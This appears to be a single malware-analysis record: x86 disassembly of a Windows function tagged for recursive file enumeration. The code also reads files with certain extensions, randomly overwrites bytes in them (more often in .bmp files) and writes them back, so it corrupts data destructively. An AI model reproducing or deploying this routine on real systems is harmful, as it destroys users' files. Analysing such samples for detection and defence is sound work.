Function at 0x401728
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4a98
call fcn.00402cac
sub esp, eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x264]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x264]
mov dword [esp], eax
call sym._strlen
mov edx, eax
lea eax, [ebp - 0x264]
add eax, edx
mov dword [eax], 0x2a2e2a5c
mov byte [eax + 4], 0
lea eax, [ebp - 0x160]
mov dword [esp + 4], eax
lea eax, [ebp - 0x264]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
call eax
sub esp, 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x401a07
lea eax, [ebp - 0x160]
add eax, 0x2c
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [ebp - 0x4a77]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x4050e0
lea eax, [ebp - 0x160]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x4019d5
mov dword [esp + 4], 0x4050e2
lea eax, [ebp - 0x160]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x4019d5
mov eax, dword [ebp - 0x160]
and eax, 0x10
test eax, eax
je 0x401824
lea eax, [ebp - 0x4a77]
mov dword [esp], eax
call sym._FindFiles
jmp 0x4019d5
mov dword [esp + 4], 0x2e
lea eax, [ebp - 0x4a77]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xc], 0
jmp 0x4019c9
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x404008]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp_1]
call eax
test eax, eax
jne 0x4019c5
mov dword [esp + 4], 0x4050e5
lea eax, [ebp - 0x4a77]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x2000
mov dword [esp + 8], 1
mov dword [esp + 4], 0x2000
lea eax, [ebp - 0x4973]
mov dword [esp], eax
call sym._fread_s
mov dword [ebp - 0x10], 0xa
mov dword [esp + 4], str..bmp
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._stricmp
test eax, eax
jne 0x4018d7
mov dword [ebp - 0x10], 0x32
mov dword [ebp - 0x14], 0
jmp 0x401965
call sym._rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x3e8
mov eax, ecx
sub eax, edx
cmp dword [ebp - 0x10], eax
jle 0x401946
call sym._rand
movsx ecx, al
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0xc8
mov eax, ecx
sub eax, edx
mov edx, eax
lea ecx, [ebp - 0x2973]
mov eax, dword [ebp - 0x14]
add eax, ecx
mov byte [eax], dl
jmp 0x401961
lea edx, [ebp - 0x4973]
mov eax, dword [ebp - 0x14]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x2973]
mov edx, dword [ebp - 0x14]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x14]
cmp eax, 0x1fff
jbe 0x4018e3
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._fclose
lea eax, [ebp - 0x4a77]
mov dword [esp], eax
call sym._puts
mov dword [esp + 4], 0x4050e7
lea eax, [ebp - 0x4a77]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x2973]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._fprintf
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._fclose
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, 4
jbe 0x401849
lea eax, [ebp - 0x160]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindNextFileA]
call eax
sub esp, 8
test eax, eax
jne 0x401798
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindClose]
call eax
sub esp, 4
nop
leave
ret